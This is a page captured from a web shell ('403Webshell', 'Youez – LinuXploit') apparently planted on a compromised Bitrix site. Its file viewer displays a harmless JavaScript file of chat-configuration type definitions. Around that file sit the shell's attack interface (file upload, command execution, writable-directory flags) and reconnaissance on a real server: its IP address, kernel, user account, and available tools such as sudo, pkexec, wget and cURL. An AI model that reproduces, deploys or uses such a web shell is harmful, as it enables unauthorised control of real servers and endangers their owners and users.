403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/v2/provider/service/chat/src/types/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/v2/provider/service/chat/src/types/chat.js
import { ChatType, UserRole } from 'im.v2.const';

import type { JsonObject } from 'main.core';

import type {
	RawChat,
	RawCollabInfo,
	RawCommentInfo,
	RawCopilot,
	RawFile,
	RawMessage,
	RawMessagesAutoDeleteConfig,
	RawPin,
	RawReaction,
	RawShortUser,
	RawTariffRestrictions,
	RawUser,
} from 'im.v2.provider.service.types';
import type { RawSession } from 'imopenlines.v2.provider.service';

export type ChatLoadRestResult = {
	additionalMessages: RawMessage[],
	chat: RawChat,
	commentInfo: RawCommentInfo[],
	collabInfo?: RawCollabInfo,
	files: RawFile[],
	session?: RawSession,
	hasNextPage: boolean,
	hasPrevPage: boolean,
	messages: RawMessage[],
	pins: RawPin[],
	reactions: RawReaction[],
	users: RawUser[],
	usersShort: RawShortUser[],
	copilot: RawCopilot,
	tariffRestrictions: RawTariffRestrictions,
	messagesAutoDeleteConfigs: RawMessagesAutoDeleteConfig[]
};

export type CommentInfoRestResult = {
	commentInfo: RawCommentInfo[],
	usersShort: RawShortUser[],
};

export type RoleItem = $Keys<typeof UserRole>;
export type MemberEntity = [string, number | string];
export type ChatConfig = {
	title: string,
	avatar: File,
	members: number[],
	memberEntities: [string, number | string][],
	ownerId: number,
	managers: number[],
	manageUsersAdd: RoleItem,
	manageUsersDelete: RoleItem,
	manageUi: RoleItem,
	manageSettings: RoleItem,
	manageMessages: RoleItem,
	isAvailableInSearch: boolean,
	description: string,
	entityType?: string,
	type?: string,
	conferencePassword: string,
	copilotMainRole: string,
	autoDeleteDelay?: number,
};

export type UpdateChatConfig = {
	addedMemberEntities?: MemberEntity[],
	deletedMemberEntities?: MemberEntity[],
	addedManagers?: number[],
	deletedManagers?: number[],
} & ChatConfig;

type ChatTypeItem = $Keys<typeof ChatType>
export type RestChatConfig = {
	users: number[],
	memberEntities?: MemberEntity[],
	type?: ChatTypeItem,
	entityType?: ChatTypeItem,
	title?: string,
	avatar?: string,
	description?: string,
	managers?: number[],
	ownerId?: number,
	searchable?: 'Y' | 'N',
	manageUsersAdd?: RoleItem,
	manageUsersDelete?: RoleItem,
	manageUi?: RoleItem,
	manageSettings?: RoleItem,
	manageMessages?: RoleItem,
	conferencePassword?: string,
	messagesAutoDeleteDelay?: number,
};

export type RestUpdateChatConfig = {
	avatar?: string,
	title?: string,
	description?: string,
	ownerId?: number,
	searchable?: 'Y' | 'N',
	manageUi?: RoleItem,
	manageUsersAdd?: RoleItem,
	manageUsersDelete?: RoleItem,
	manageMessages?: RoleItem,
	addedMemberEntities?: MemberEntity[],
	deletedMemberEntities?: MemberEntity[],
	addedManagers?: number[],
	deletedManagers?: number[],
};

export type RestCreateCollabConfig = {
	title: string,
	description?: string,
	avatar?: File,
	ownerId: number,
	moderatorMembers: number[],
	permissions: JsonObject,
	options: JsonObject,
	autoDeleteDelay: number,
};

export type UpdateCollabConfig = {
	title: string,
	description?: string,
	avatar?: File,
	groupSettings: {
		ownerId: number,
		addModeratorMembers: number[],
		deleteModeratorMembers: number[],
		permissions: JsonObject,
		options: JsonObject
	},
};

export type RestUpdateCollabConfig = {
	title: string,
	description?: string,
	avatar?: File,
	ownerId: number,
	addModeratorMembers: number[],
	deleteModeratorMembers: number[],
	permissions: JsonObject,
	options: JsonObject
};

export type GetMemberEntitiesConfig = {
	memberEntities: Array<[string, number]>,
	userCount: number,
	areUsersCollapsed: boolean,
};

Youez - 2016 - github.com/yon3zu
LinuXploit